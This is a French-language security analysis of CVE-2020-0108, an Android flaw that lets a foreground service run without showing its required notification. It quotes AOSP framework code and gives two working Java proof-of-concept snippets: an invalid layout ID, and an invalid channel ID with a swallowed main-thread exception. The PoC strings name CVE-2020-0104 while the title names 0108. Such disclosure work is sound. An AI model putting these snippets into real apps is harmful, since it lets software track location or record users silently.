Analyse de la vulnérabilité d'élévation de privilège du service de premier plan CVE-2020-0108

1. Contexte de la vulnérabilité

• Dans le correctif d'AOSP d'août 2020, une vulnérabilité dans la couche framework AMS a été divulguée, numérotée CVE-2020-0108, classée comme élevée. Il s'agit d'un défaut logique dans le traitement des services de premier plan par AMS. Un attaquant qui exploite avec succès cette vulnérabilité peut contourner l'affichage de la notification du service de premier plan et continuer à s'exécuter en arrière-plan. L'attaque doit être lancée par une application malveillante locale, sans interaction de l'utilisateur. Si l'utilisateur a accordé d'autres autorisations à l'application, cela peut causer des dommages plus importants, comme le suivi continu de la position ou l'enregistrement silencieux.

2. Détails de la vulnérabilité

• Les services de premier plan sont un concept introduit par Google dans Android 8.0. Étant donné qu'Android 8.0 ne permet pas de démarrer des services en arrière-plan depuis l'arrière-plan, le concept de service de premier plan a été conçu. Les services de premier plan ont une priorité plus élevée et peuvent s'exécuter longtemps en arrière-plan, mais ils doivent lier une notification dans les 5 secondes suivant leur démarrage, sinon ils sont tués. En réalité, les services de premier plan s'exécutent toujours en « arrière-plan », mais comme ils sont liés à une notification visible par l'utilisateur, Google les appelle « services de premier plan ».
• Cette vulnérabilité comporte deux méthodes d'attaque, correspondant à deux défauts logiques.
• Le premier défaut se trouve dans la méthode onNotificationError de NotificationManagerService, qui ne gère pas correctement les cas anormaux lors de l'affichage de la notification.

// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}

• Dans ce cas, même si la notification ne s'affiche pas correctement après le démarrage du service de premier plan, cela n'entraîne pas la fin du service. Par exemple, si le service de premier plan utilise une mise en page personnalisée lors de la création de la notification, en passant une valeur de resID inexistante lors de la construction de l'objet RemoteViews, cela échoue lors de l'analyse du layout de la notification par NotificationManagerService et lève une exception, appelant ainsi onNotificationError. Comme la méthode onNotificationError appelle simplement cancelNotification pour annuler la notification sans terminer le service ou l'ensemble de l'application, le service de premier plan continue de s'exécuter sans afficher de notification.
• Le second défaut se trouve dans la méthode postNotification de ServiceRecord, qui ne gère pas correctement les cas anormaux lors de l'affichage de la notification et lève une exception vers le programme utilisateur.

// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}

• Dans ce cas, après le démarrage du service de premier plan, si le programme utilisateur capture l'exception du thread principal, même si la notification ne s'affiche pas correctement, cela n'entraîne pas la fin du service. Par exemple, si le service de premier plan transmet un ID de canal invalide lors de la création de la notification, cela lève une exception lors de l'envoi de la notification dans la méthode postNotification de ServiceRecord. Dans la gestion de l'exception, seule la méthode crashApplication de l'AMS est appelée pour lancer une exception du thread principal vers l'application. Mais si l'application capture l'exception sur le thread principal, l'application ne plante pas, et le service de premier plan continue de s'exécuter sans afficher de notification.

3. Validation de la vulnérabilité

• Premier défaut, peut être déclenché dans un service de premier plan avec le code suivant :

NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);

• Lors de la création de l'objet RemoteViews, nous avons défini l'ID de layout sur -1, ce qui est clairement une valeur invalide, déclenchant ainsi le rappel onNotificationError.
• Second défaut, peut être déclenché dans un service de premier plan avec le code suivant :

//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);

• Cette fois, nous n'avons pas créé d'objet NotificationChannel et avons directement utilisé un ID de canal invalide pour construire la notification, déclenchant ainsi l'exception de la méthode postNotification. Puis nous avons capturé l'exception du thread principal, empêchant ainsi le plantage de l'application.